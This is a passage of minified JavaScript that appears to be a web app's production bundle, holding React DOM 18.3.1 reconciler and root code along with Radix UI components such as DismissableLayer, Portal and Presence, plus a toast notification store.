uh(e,t){t===0&&(e.mode&1?(t=ui,ui<<=1,!(ui&130023424)&&(ui=4194304)):t=1);var n=Ae();e=Vt(e,t),e!==null&&(Ko(e,t,n),$e(e,n))}function Ey(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),uh(e,n)}function Cy(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,o=e.memoizedState;o!==null&&(n=o.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(R(314))}r!==null&&r.delete(t),uh(e,n)}var ch;ch=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||ze.current)Ie=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Ie=!1,cy(e,t,n);Ie=!!(e.flags&131072)}else Ie=!1,se&&t.flags&1048576&&hp(t,Ji,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;Mi(e,t),e=t.pendingProps;var o=Dr(t,Re.current);Sr(t,n),o=wu(null,t,r,e,o,n);var i=xu();return t.flags|=1,typeof o=="object"&&o!==null&&typeof o.render=="function"&&o.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Fe(r)?(i=!0,qi(t)):i=!1,t.memoizedState=o.state!==null&&o.state!==void 0?o.state:null,hu(t),o.updater=Ts,t.stateNode=o,o._reactInternals=t,ua(t,r,e,n),t=fa(null,t,r,!0,i,n)):(t.tag=0,se&&i&&lu(t),Oe(null,t,o,n),t=t.child),t;case 16:r=t.elementType;e:{switch(Mi(e,t),e=t.pendingProps,o=r._init,r=o(r._payload),t.type=r,o=t.tag=Py(r),e=ct(r,e),o){case 0:t=da(null,t,r,e,n);break e;case 1:t=Jc(null,t,r,e,n);break e;case 11:t=qc(null,t,r,e,n);break e;case 14:t=Zc(null,t,r,ct(r.type,e),n);break e}throw Error(R(306,r,""))}return t;case 0:return r=t.type,o=t.pendingProps,o=t.elementType===r?o:ct(r,o),da(e,t,r,o,n);case 1:return r=t.type,o=t.pendingProps,o=t.elementType===r?o:ct(r,o),Jc(e,t,r,o,n);case 3:e:{if(Kp(t),e===null)throw Error(R(387));r=t.pendingProps,i=t.memoizedState,o=i.element,xp(e,t),ns(t,r,null,n);var s=t.memoizedState;if(r=s.element,i.isDehydrated)if(i={element:r,isDehydrated:!1,cache:s.cache,pendingSuspenseBoundaries:s.pendingSuspenseBoundaries,transitions:s.transitions},t.updateQueue.baseState=i,t.memoizedState=i,t.flags&256){o=$r(Error(R(423)),t),t=ed(e,t,r,n,o);break e}else if(r!==o){o=$r(Error(R(424)),t),t=ed(e,t,r,n,o);break e}else for(Ye=wn(t.stateNode.containerInfo.firstChild),Xe=t,se=!0,ht=null,n=yp(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Ir(),r===o){t=Ht(e,t,n);break e}Oe(e,t,r,n)}t=t.child}return t;case 5:return Sp(t),e===null&&sa(t),r=t.type,o=t.pendingProps,i=e!==null?e.memoizedProps:null,s=o.children,ta(r,o)?s=null:i!==null&&ta(r,i)&&(t.flags|=32),Qp(e,t),Oe(e,t,s,n),t.child;case 6:return e===null&&sa(t),null;case 13:return Gp(e,t,n);case 4:return mu(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=zr(t,null,r,n):Oe(e,t,r,n),t.child;case 11:return r=t.type,o=t.pendingProps,o=t.elementType===r?o:ct(r,o),qc(e,t,r,o,n);case 7:return Oe(e,t,t.pendingProps,n),t.child;case 8:return Oe(e,t,t.pendingProps.children,n),t.child;case 12:return Oe(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,o=t.pendingProps,i=t.memoizedProps,s=o.value,te(es,r._currentValue),r._currentValue=s,i!==null)if(gt(i.value,s)){if(i.children===o.children&&!ze.current){t=Ht(e,t,n);break e}}else for(i=t.child,i!==null&&(i.return=t);i!==null;){var l=i.dependencies;if(l!==null){s=i.child;for(var a=l.firstContext;a!==null;){if(a.context===r){if(i.tag===1){a=$t(-1,n&-n),a.tag=2;var u=i.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?a.next=a:(a.next=d.next,d.next=a),u.pending=a}}i.lanes|=n,a=i.alternate,a!==null&&(a.lanes|=n),la(i.return,n,t),l.lanes|=n;break}a=a.next}}else if(i.tag===10)s=i.type===t.type?null:i.child;else if(i.tag===18){if(s=i.return,s===null)throw Error(R(341));s.lanes|=n,l=s.alternate,l!==null&&(l.lanes|=n),la(s,n,t),s=i.sibling}else s=i.child;if(s!==null)s.return=i;else for(s=i;s!==null;){if(s===t){s=null;break}if(i=s.sibling,i!==null){i.return=s.return,s=i;break}s=s.return}i=s}Oe(e,t,o.children,n),t=t.child}return t;case 9:return o=t.type,r=t.pendingProps.children,Sr(t,n),o=st(o),r=r(o),t.flags|=1,Oe(e,t,r,n),t.child;case 14:return r=t.type,o=ct(r,t.pendingProps),o=ct(r.type,o),Zc(e,t,r,o,n);case 15:return Hp(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,o=t.pendingProps,o=t.elementType===r?o:ct(r,o),Mi(e,t),t.tag=1,Fe(r)?(e=!0,qi(t)):e=!1,Sr(t,n),Up(t,r,o),ua(t,r,o,n),fa(null,t,r,!0,e,n);case 19:return Yp(e,t,n);case 22:return Wp(e,t,n)}throw Error(R(156,t.tag))};function dh(e,t){return zf(e,t)}function ky(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function ot(e,t,n,r){return new ky(e,t,n,r)}function _u(e){return e=e.prototype,!(!e||!e.isReactComponent)}function Py(e){if(typeof e=="function")return _u(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Ya)return 11;if(e===Xa)return 14}return 2}function Cn(e,t){var n=e.alternate;return n===null?(n=ot(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function Ii(e,t,n,r,o,i){var s=2;if(r=e,typeof e=="function")_u(e)&&(s=1);else if(typeof e=="string")s=5;else e:switch(e){case sr:return Hn(n.children,o,i,t);case Ga:s=8,o|=8;break;case Al:return e=ot(12,n,t,o|2),e.elementType=Al,e.lanes=i,e;case Ml:return e=ot(13,n,t,o),e.elementType=Ml,e.lanes=i,e;case Ll:return e=ot(19,n,t,o),e.elementType=Ll,e.lanes=i,e;case Sf:return _s(n,o,i,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case wf:s=10;break e;case xf:s=9;break e;case Ya:s=11;break e;case Xa:s=14;break e;case rn:s=16,r=null;break e}throw Error(R(130,e==null?e:typeof e,""))}return t=ot(s,n,t,o),t.elementType=e,t.type=r,t.lanes=i,t}function Hn(e,t,n,r){return e=ot(7,e,r,t),e.lanes=n,e}function _s(e,t,n,r){return e=ot(22,e,r,t),e.elementType=Sf,e.lanes=n,e.stateNode={isHidden:!1},e}function Cl(e,t,n){return e=ot(6,e,null,t),e.lanes=n,e}function kl(e,t,n){return t=ot(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function by(e,t,n,r,o){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=ol(0),this.expirationTimes=ol(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=ol(0),this.identifierPrefix=r,this.onRecoverableError=o,this.mutableSourceEagerHydrationData=null}function Ou(e,t,n,r,o,i,s,l,a){return e=new by(e,t,n,l,a),t===1?(t=1,i===!0&&(t|=8)):t=0,i=ot(3,null,null,t),e.current=i,i.stateNode=e,i.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},hu(i),e}function Ty(e,t,n){var r=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:ir,key:r==null?null:""+r,children:e,containerInfo:t,implementation:n}}function fh(e){if(!e)return Pn;e=e._reactInternals;e:{if(Jn(e)!==e||e.tag!==1)throw Error(R(170));var t=e;do{switch(t.tag){case 3:t=t.stateNode.context;break e;case 1:if(Fe(t.type)){t=t.stateNode.__reactInternalMemoizedMergedChildContext;break e}}t=t.return}while(t!==null);throw Error(R(171))}if(e.tag===1){var n=e.type;if(Fe(n))return fp(e,n,t)}return t}function ph(e,t,n,r,o,i,s,l,a){return e=Ou(n,r,!0,e,o,i,s,l,a),e.context=fh(null),n=e.current,r=Ae(),o=En(n),i=$t(r,o),i.callback=t??null,xn(n,i,o),e.current.lanes=o,Ko(e,o,r),$e(e,r),e}function Os(e,t,n,r){var o=t.current,i=Ae(),s=En(o);return n=fh(n),t.context===null?t.context=n:t.pendingContext=n,t=$t(i,s),t.payload={element:e},r=r===void 0?null:r,r!==null&&(t.callback=r),e=xn(o,t,s),e!==null&&(vt(e,o,s,i),Oi(e,o,s)),s}function cs(e){if(e=e.current,!e.child)return null;switch(e.child.tag){case 5:return e.child.stateNode;default:return e.child.stateNode}}function cd(e,t){if(e=e.memoizedState,e!==null&&e.dehydrated!==null){var n=e.retryLane;e.retryLane=n!==0&&n<t?n:t}}function ju(e,t){cd(e,t),(e=e.alternate)&&cd(e,t)}function Ny(){return null}var hh=typeof reportError=="function"?reportError:function(e){console.error(e)};function Au(e){this._internalRoot=e}js.prototype.render=Au.prototype.render=function(e){var t=this._internalRoot;if(t===null)throw Error(R(409));Os(e,t,null,null)};js.prototype.unmount=Au.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var t=e.containerInfo;Yn(function(){Os(null,e,null,null)}),t[Bt]=null}};function js(e){this._internalRoot=e}js.prototype.unstable_scheduleHydration=function(e){if(e){var t=Wf();e={blockedOn:null,target:e,priority:t};for(var n=0;n<sn.length&&t!==0&&t<sn[n].priority;n++);sn.splice(n,0,e),n===0&&Kf(e)}};function Mu(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11)}function As(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11&&(e.nodeType!==8||e.nodeValue!==" react-mount-point-unstable "))}function dd(){}function Ry(e,t,n,r,o){if(o){if(typeof r=="function"){var i=r;r=function(){var u=cs(s);i.call(u)}}var s=ph(t,r,e,0,null,!1,!1,"",dd);return e._reactRootContainer=s,e[Bt]=s.current,_o(e.nodeType===8?e.parentNode:e),Yn(),s}for(;o=e.lastChild;)e.removeChild(o);if(typeof r=="function"){var l=r;r=function(){var u=cs(a);l.call(u)}}var a=Ou(e,0,!1,null,null,!1,!1,"",dd);return e._reactRootContainer=a,e[Bt]=a.current,_o(e.nodeType===8?e.parentNode:e),Yn(function(){Os(t,a,n,r)}),a}function Ms(e,t,n,r,o){var i=n._reactRootContainer;if(i){var s=i;if(typeof o=="function"){var l=o;o=function(){var a=cs(s);l.call(a)}}Os(t,s,e,o)}else s=Ry(n,t,e,o,r);return cs(s)}Vf=function(e){switch(e.tag){case 3:var t=e.stateNode;if(t.current.memoizedState.isDehydrated){var n=uo(t.pendingLanes);n!==0&&(Ja(t,n|1),$e(t,pe()),!(X&6)&&(Ur=pe()+500,jn()))}break;case 13:Yn(function(){var r=Vt(e,1);if(r!==null){var o=Ae();vt(r,e,1,o)}}),ju(e,1)}};eu=function(e){if(e.tag===13){var t=Vt(e,134217728);if(t!==null){var n=Ae();vt(t,e,134217728,n)}ju(e,134217728)}};Hf=function(e){if(e.tag===13){var t=En(e),n=Vt(e,t);if(n!==null){var r=Ae();vt(n,e,t,r)}ju(e,t)}};Wf=function(){return J};Qf=function(e,t){var n=J;try{return J=e,t()}finally{J=n}};Wl=function(e,t,n){switch(t){case"input":if(zl(e,n),t=n.name,n.type==="radio"&&t!=null){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll("input[name="+JSON.stringify(""+t)+'][type="radio"]'),t=0;t<n.length;t++){var r=n[t];if(r!==e&&r.form===e.form){var o=ks(r);if(!o)throw Error(R(90));Cf(r),zl(r,o)}}}break;case"textarea":Pf(e,n);break;case"select":t=n.value,t!=null&&gr(e,!!n.multiple,t,!1)}};jf=Tu;Af=Yn;var _y={usingClientEntryPoint:!1,Events:[Yo,cr,ks,_f,Of,Tu]},oo={findFiberByHostInstance:Dn,bundleType:0,version:"18.3.1",rendererPackageName:"react-dom"},Oy={bundleType:oo.bundleType,version:oo.version,rendererPackageName:oo.rendererPackageName,rendererConfig:oo.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:Kt.ReactCurrentDispatcher,findHostInstanceByFiber:function(e){return e=Df(e),e===null?null:e.stateNode},findFiberByHostInstance:oo.findFiberByHostInstance||Ny,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:"18.3.1-next-f1338f8080-20240426"};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<"u"){var xi=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!xi.isDisabled&&xi.supportsFiber)try{xs=xi.inject(Oy),Rt=xi}catch{}}Je.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=_y;Je.createPortal=function(e,t){var n=2<arguments.length&&arguments[2]!==void 0?arguments[2]:null;if(!Mu(t))throw Error(R(200));return Ty(e,t,null,n)};Je.createRoot=function(e,t){if(!Mu(e))throw Error(R(299));var n=!1,r="",o=hh;return t!=null&&(t.unstable_strictMode===!0&&(n=!0),t.identifierPrefix!==void 0&&(r=t.identifierPrefix),t.onRecoverableError!==void 0&&(o=t.onRecoverableError)),t=Ou(e,1,!1,null,null,n,!1,r,o),e[Bt]=t.current,_o(e.nodeType===8?e.parentNode:e),new Au(t)};Je.findDOMNode=function(e){if(e==null)return null;if(e.nodeType===1)return e;var t=e._reactInternals;if(t===void 0)throw typeof e.render=="function"?Error(R(188)):(e=Object.keys(e).join(","),Error(R(268,e)));return e=Df(t),e=e===null?null:e.stateNode,e};Je.flushSync=function(e){return Yn(e)};Je.hydrate=function(e,t,n){if(!As(t))throw Error(R(200));return Ms(null,e,t,!0,n)};Je.hydrateRoot=function(e,t,n){if(!Mu(e))throw Error(R(405));var r=n!=null&&n.hydratedSources||null,o=!1,i="",s=hh;if(n!=null&&(n.unstable_strictMode===!0&&(o=!0),n.identifierPrefix!==void 0&&(i=n.identifierPrefix),n.onRecoverableError!==void 0&&(s=n.onRecoverableError)),t=ph(t,null,e,1,n??null,o,!1,i,s),e[Bt]=t.current,_o(e),r)for(e=0;e<r.length;e++)n=r[e],o=n._getVersion,o=o(n._source),t.mutableSourceEagerHydrationData==null?t.mutableSourceEagerHydrationData=[n,o]:t.mutableSourceEagerHydrationData.push(n,o);return new js(t)};Je.render=function(e,t,n){if(!As(t))throw Error(R(200));return Ms(null,e,t,!1,n)};Je.unmountComponentAtNode=function(e){if(!As(e))throw Error(R(40));return e._reactRootContainer?(Yn(function(){Ms(null,null,e,!1,function(){e._reactRootContainer=null,e[Bt]=null})}),!0):!1};Je.unstable_batchedUpdates=Tu;Je.unstable_renderSubtreeIntoContainer=function(e,t,n,r){if(!As(n))throw Error(R(200));if(e==null||e._reactInternals===void 0)throw Error(R(38));return Ms(e,t,n,!1,r)};Je.version="18.3.1-next-f1338f8080-20240426";function mh(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(mh)}catch(e){console.error(e)}}mh(),mf.exports=Je;var qo=mf.exports;const vh=nf(qo);var gh,fd=qo;gh=fd.createRoot,fd.hydrateRoot;const jy=1,Ay=1e6;let Pl=0;function My(){return Pl=(Pl+1)%Number.MAX_SAFE_INTEGER,Pl.toString()}const bl=new Map,pd=e=>{if(bl.has(e))return;const t=setTimeout(()=>{bl.delete(e),So({type:"REMOVE_TOAST",toastId:e})},Ay);bl.set(e,t)},Ly=(e,t)=>{switch(t.type){case"ADD_TOAST":return{...e,toasts:[t.toast,...e.toasts].slice(0,jy)};case"UPDATE_TOAST":return{...e,toasts:e.toasts.map(n=>n.id===t.toast.id?{...n,...t.toast}:n)};case"DISMISS_TOAST":{const{toastId:n}=t;return n?pd(n):e.toasts.forEach(r=>{pd(r.id)}),{...e,toasts:e.toasts.map(r=>r.id===n||n===void 0?{...r,open:!1}:r)}}case"REMOVE_TOAST":return t.toastId===void 0?{...e,toasts:[]}:{...e,toasts:e.toasts.filter(n=>n.id!==t.toastId)}}},zi=[];let Fi={toasts:[]};function So(e){Fi=Ly(Fi,e),zi.forEach(t=>{t(Fi)})}function Dy({...e}){const t=My(),n=o=>So({type:"UPDATE_TOAST",toast:{...o,id:t}}),r=()=>So({type:"DISMISS_TOAST",toastId:t});return So({type:"ADD_TOAST",toast:{...e,id:t,open:!0,onOpenChange:o=>{o||r()}}}),{id:t,dismiss:r,update:n}}function Iy(){const[e,t]=w.useState(Fi);return w.useEffect(()=>(zi.push(t),()=>{const n=zi.indexOf(t);n>-1&&zi.splice(n,1)}),[e]),{...e,toast:Dy,dismiss:n=>So({type:"DISMISS_TOAST",toastId:n})}}function ve(e,t,{checkForDefaultPrevented:n=!0}={}){return function(o){if(e==null||e(o),n===!1||!o.defaultPrevented)return t==null?void 0:t(o)}}function zy(e,t){typeof e=="function"?e(t):e!=null&&(e.current=t)}function yh(...e){return t=>e.forEach(n=>zy(n,t))}function yt(...e){return w.useCallback(yh(...e),e)}function Fy(e,t=[]){let n=[];function r(i,s){const l=w.createContext(s),a=n.length;n=[...n,s];function u(f){const{scope:c,children:g,...y}=f,v=(c==null?void 0:c[e][a])||l,x=w.useMemo(()=>y,Object.values(y));return E.jsx(v.Provider,{value:x,children:g})}function d(f,c){const g=(c==null?void 0:c[e][a])||l,y=w.useContext(g);if(y)return y;if(s!==void 0)return s;throw new Error(`\`${f}\` must be used within \`${i}\``)}return u.displayName=i+"Provider",[u,d]}const o=()=>{const i=n.map(s=>w.createContext(s));return function(l){const a=(l==null?void 0:l[e])||i;return w.useMemo(()=>({[`__scope${e}`]:{...l,[e]:a}}),[l,a])}};return o.scopeName=e,[r,$y(o,...t)]}function $y(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(o=>({useScope:o(),scopeName:o.scopeName}));return function(i){const s=r.reduce((l,{useScope:a,scopeName:u})=>{const f=a(i)[`__scope${u}`];return{...l,...f}},{});return w.useMemo(()=>({[`__scope${t.scopeName}`]:s}),[s])}};return n.scopeName=t.scopeName,n}var Fo=w.forwardRef((e,t)=>{const{children:n,...r}=e,o=w.Children.toArray(n),i=o.find(Uy);if(i){const s=i.props.children,l=o.map(a=>a===i?w.Children.count(s)>1?w.Children.only(null):w.isValidElement(s)?s.props.children:null:a);return E.jsx(ka,{...r,ref:t,children:w.isValidElement(s)?w.cloneElement(s,void 0,l):null})}return E.jsx(ka,{...r,ref:t,children:n})});Fo.displayName="Slot";var ka=w.forwardRef((e,t)=>{const{children:n,...r}=e;if(w.isValidElement(n)){const o=Vy(n);return w.cloneElement(n,{...By(r,n.props),ref:t?yh(t,o):o})}return w.Children.count(n)>1?w.Children.only(null):null});ka.displayName="SlotClone";var wh=({children:e})=>E.jsx(E.Fragment,{children:e});function Uy(e){return w.isValidElement(e)&&e.type===wh}function By(e,t){const n={...t};for(const r in t){const o=e[r],i=t[r];/^on[A-Z]/.test(r)?o&&i?n[r]=(...l)=>{i(...l),o(...l)}:o&&(n[r]=o):r==="style"?n[r]={...o,...i}:r==="className"&&(n[r]=[o,i].filter(Boolean).join(" "))}return{...e,...n}}function Vy(e){var r,o;let t=(r=Object.getOwnPropertyDescriptor(e.props,"ref"))==null?void 0:r.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=(o=Object.getOwnPropertyDescriptor(e,"ref"))==null?void 0:o.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}function Hy(e){const t=e+"CollectionProvider",[n,r]=Fy(t),[o,i]=n(t,{collectionRef:{current:null},itemMap:new Map}),s=g=>{const{scope:y,children:v}=g,x=O.useRef(null),h=O.useRef(new Map).current;return E.jsx(o,{scope:y,itemMap:h,collectionRef:x,children:v})};s.displayName=t;const l=e+"CollectionSlot",a=O.forwardRef((g,y)=>{const{scope:v,children:x}=g,h=i(l,v),p=yt(y,h.collectionRef);return E.jsx(Fo,{ref:p,children:x})});a.displayName=l;const u=e+"CollectionItemSlot",d="data-radix-collection-item",f=O.forwardRef((g,y)=>{const{scope:v,children:x,...h}=g,p=O.useRef(null),m=yt(y,p),S=i(u,v);return O.useEffect(()=>(S.itemMap.set(p,{ref:p,...h}),()=>void S.itemMap.delete(p))),E.jsx(Fo,{[d]:"",ref:m,children:x})});f.displayName=u;function c(g){const y=i(e+"CollectionConsumer",g);return O.useCallback(()=>{const x=y.collectionRef.current;if(!x)return[];const h=Array.from(x.querySelectorAll(`[${d}]`));return Array.from(y.itemMap.values()).sort((S,C)=>h.indexOf(S.ref.current)-h.indexOf(C.ref.current))},[y.collectionRef,y.itemMap])}return[{Provider:s,Slot:a,ItemSlot:f},c,r]}function xh(e,t=[]){let n=[];function r(i,s){const l=w.createContext(s),a=n.length;n=[...n,s];const u=f=>{var h;const{scope:c,children:g,...y}=f,v=((h=c==null?void 0:c[e])==null?void 0:h[a])||l,x=w.useMemo(()=>y,Object.values(y));return E.jsx(v.Provider,{value:x,children:g})};u.displayName=i+"Provider";function d(f,c){var v;const g=((v=c==null?void 0:c[e])==null?void 0:v[a])||l,y=w.useContext(g);if(y)return y;if(s!==void 0)return s;throw new Error(`\`${f}\` must be used within \`${i}\``)}return[u,d]}const o=()=>{const i=n.map(s=>w.createContext(s));return function(l){const a=(l==null?void 0:l[e])||i;return w.useMemo(()=>({[`__scope${e}`]:{...l,[e]:a}}),[l,a])}};return o.scopeName=e,[r,Wy(o,...t)]}function Wy(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(o=>({useScope:o(),scopeName:o.scopeName}));return function(i){const s=r.reduce((l,{useScope:a,scopeName:u})=>{const f=a(i)[`__scope${u}`];return{...l,...f}},{});return w.useMemo(()=>({[`__scope${t.scopeName}`]:s}),[s])}};return n.scopeName=t.scopeName,n}var Qy=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","span","svg","ul"],Be=Qy.reduce((e,t)=>{const n=w.forwardRef((r,o)=>{const{asChild:i,...s}=r,l=i?Fo:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(l,{...s,ref:o})});return n.displayName=`Primitive.${t}`,{...e,[t]:n}},{});function Sh(e,t){e&&qo.flushSync(()=>e.dispatchEvent(t))}function Ot(e){const t=w.useRef(e);return w.useEffect(()=>{t.current=e}),w.useMemo(()=>(...n)=>{var r;return(r=t.current)==null?void 0:r.call(t,...n)},[])}function Ky(e,t=globalThis==null?void 0:globalThis.document){const n=Ot(e);w.useEffect(()=>{const r=o=>{o.key==="Escape"&&n(o)};return t.addEventListener("keydown",r,{capture:!0}),()=>t.removeEventListener("keydown",r,{capture:!0})},[n,t])}var Gy="DismissableLayer",Pa="dismissableLayer.update",Yy="dismissableLayer.pointerDownOutside",Xy="dismissableLayer.focusOutside",hd,Eh=w.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Lu=w.forwardRef((e,t)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:o,onFocusOutside:i,onInteractOutside:s,onDismiss:l,...a}=e,u=w.useContext(Eh),[d,f]=w.useState(null),c=(d==null?void 0:d.ownerDocument)??(globalThis==null?void 0:globalThis.document),[,g]=w.useState({}),y=yt(t,b=>f(b)),v=Array.from(u.layers),[x]=[...u.layersWithOutsidePointerEventsDisabled].slice(-1),h=v.indexOf(x),p=d?v.indexOf(d):-1,m=u.layersWithOutsidePointerEventsDisabled.size>0,S=p>=h,C=Zy(b=>{const N=b.target,D=[...u.branches].some(j=>j.contains(N));!S||D||(o==null||o(b),s==null||s(b),b.defaultPrevented||l==null||l())},c),P=Jy(b=>{const N=b.target;[...u.branches].some(j=>j.contains(N))||(i==null||i(b),s==null||s(b),b.defaultPrevented||l==null||l())},c);return Ky(b=>{p===u.layers.size-1&&(r==null||r(b),!b.defaultPrevented&&l&&(b.preventDefault(),l()))},c),w.useEffect(()=>{if(d)return n&&(u.layersWithOutsidePointerEventsDisabled.size===0&&(hd=c.body.style.pointerEvents,c.body.style.pointerEvents="none"),u.layersWithOutsidePointerEventsDisabled.add(d)),u.layers.add(d),md(),()=>{n&&u.layersWithOutsidePointerEventsDisabled.size===1&&(c.body.style.pointerEvents=hd)}},[d,c,n,u]),w.useEffect(()=>()=>{d&&(u.layers.delete(d),u.layersWithOutsidePointerEventsDisabled.delete(d),md())},[d,u]),w.useEffect(()=>{const b=()=>g({});return document.addEventListener(Pa,b),()=>document.removeEventListener(Pa,b)},[]),E.jsx(Be.div,{...a,ref:y,style:{pointerEvents:m?S?"auto":"none":void 0,...e.style},onFocusCapture:ve(e.onFocusCapture,P.onFocusCapture),onBlurCapture:ve(e.onBlurCapture,P.onBlurCapture),onPointerDownCapture:ve(e.onPointerDownCapture,C.onPointerDownCapture)})});Lu.displayName=Gy;var qy="DismissableLayerBranch",Ch=w.forwardRef((e,t)=>{const n=w.useContext(Eh),r=w.useRef(null),o=yt(t,r);return w.useEffect(()=>{const i=r.current;if(i)return n.branches.add(i),()=>{n.branches.delete(i)}},[n.branches]),E.jsx(Be.div,{...e,ref:o})});Ch.displayName=qy;function Zy(e,t=globalThis==null?void 0:globalThis.document){const n=Ot(e),r=w.useRef(!1),o=w.useRef(()=>{});return w.useEffect(()=>{const i=l=>{if(l.target&&!r.current){let a=function(){kh(Yy,n,u,{discrete:!0})};const u={originalEvent:l};l.pointerType==="touch"?(t.removeEventListener("click",o.current),o.current=a,t.addEventListener("click",o.current,{once:!0})):a()}else t.removeEventListener("click",o.current);r.current=!1},s=window.setTimeout(()=>{t.addEventListener("pointerdown",i)},0);return()=>{window.clearTimeout(s),t.removeEventListener("pointerdown",i),t.removeEventListener("click",o.current)}},[t,n]),{onPointerDownCapture:()=>r.current=!0}}function Jy(e,t=globalThis==null?void 0:globalThis.document){const n=Ot(e),r=w.useRef(!1);return w.useEffect(()=>{const o=i=>{i.target&&!r.current&&kh(Xy,n,{originalEvent:i},{discrete:!1})};return t.addEventListener("focusin",o),()=>t.removeEventListener("focusin",o)},[t,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function md(){const e=new CustomEvent(Pa);document.dispatchEvent(e)}function kh(e,t,n,{discrete:r}){const o=n.originalEvent.target,i=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&o.addEventListener(e,t,{once:!0}),r?Sh(o,i):o.dispatchEvent(i)}var e0=Lu,t0=Ch,Xn=globalThis!=null&&globalThis.document?w.useLayoutEffect:()=>{},n0="Portal",Ph=w.forwardRef((e,t)=>{var l;const{container:n,...r}=e,[o,i]=w.useState(!1);Xn(()=>i(!0),[]);const s=n||o&&((l=globalThis==null?void 0:globalThis.document)==null?void 0:l.body);return s?vh.createPortal(E.jsx(Be.div,{...r,ref:t}),s):null});Ph.displayName=n0;function r0(e,t){return w.useReducer((n,r)=>t[n][r]??n,e)}var Du=e=>{const{present:t,children:n}=e,r=o0(t),o=typeof n=="function"?n({present:r.isPresent}):w.Children.only(n),i=yt(r.ref,i0(o));return typeof n=="function"||r.isPresent?w.cloneElement(o,{ref:i}):null};Du.displayName="Presence";function o0(e){const[t,n]=w.useState(),r=w.useRef({}),o=w.useRef(e),i=w.useRef("none"),s=e?"mounted":"unmounted",[l,a]=r0(s,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return w.useEffect(()=>{const u=Si(r.current);i.current=l==="mounted"?u:"none"},[l]),Xn(()=>{const u=r.current,d=o.current;if(d!==e){const c=i.current,g=Si(u);e?a("MOUNT"):g==="none"||(u==null?void 0:u.display)==="none"?a("UNMOUNT"):a(d&&c!==g?"ANIMATION_OUT":"UNMOUNT"),o.current=e}},[e,a]),Xn(()=>{if(t){let u;const d=t.ownerDocument.defaultView??window,f=g=>{const v=Si(r.current).includes(g.animationName);if(g.target===t&&v&&(a("ANIMATION_END"),!o.current)){const x=t.style.animationFillMode;t.style.animationFillMode="forwards",u=d.setTimeout(()=>{t.style.animationFillMode==="forwards"&&(t.style.animationFillMode=x)})}},c=g=>{g.target===t&&(i.current=Si(r.current))};return 